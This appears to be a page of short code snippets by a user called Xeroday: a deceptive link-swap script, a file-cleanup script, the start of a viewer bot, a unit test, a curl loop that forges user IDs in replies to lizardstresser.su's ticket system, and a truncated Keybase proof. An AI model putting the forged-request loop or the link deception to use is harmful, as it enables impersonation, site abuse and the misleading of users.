Xeroday

<script>
function showLink() {
  document.getElementById("theLink").setAttribute("href","http://www.google.com"); //URL to show
}
function clickJack() {
  document.getElementById("theLink").setAttribute("href","http://www.bing.com"); //URL that it actually goes to
}
</script>
 
<a id="theLink" href="#" onmouseover="showLink()" onmousedown="clickJack()">Click me</a>

Xeroday

<?php
    $files = glob("*.tar.gz");
    foreach($files as $file) {
        if(is_file($file)
        && time() - filemtime($file) >= 7*24*60*60) { // 7 days
            unlink($file);
        }
    }
?>

Xeroday

import requests
import subprocess
import json
import sys
import threading
import time
from Queue import Queue

numberOfViewers = int(sys.argv[1])
builderThreads = int(sys.argv[2])

Xeroday

import static org.junit.Assert.*;

import org.junit.Test;


public class TwistListTest {

  @Test
	public void testAdd() {
		TwistList<String> l1 = new TwistList<>();

Xeroday

import subprocess

# Make sure you set the Cookie header to your cookies and the ticket id (tid)
for i in range(100967, 103325):
    subprocess.Popen("curl 'http://lizardstresser.su/ajax/addticketreply.php' -H 'Cookie: ...' -H 'Origin: http://lizardstresser.su' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: en-US,en;q=0.8' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'Accept: */*' -H 'Referer: http://lizardstresser.su/viewticket.php?id=5090' -H 'X-Requested-With: XMLHttpRequest' -H 'Connection: keep-alive' --data 'content=" + str(i) + "&tid=5090&uid=" + str(i) + "' --compressed", shell=True, stdout=subprocess.PIPE).stdout.read()

Xeroday

Keybase proof

I hereby claim:

• I am xeroday on github.
• I am xeroday (https://keybase.io/xeroday) on keybase.
• I have a public key ASDvPiH6WDr2FVcuLgItEaxHG16R6yRFs-57o5lNObzxjQo

To claim this, I am signing this object: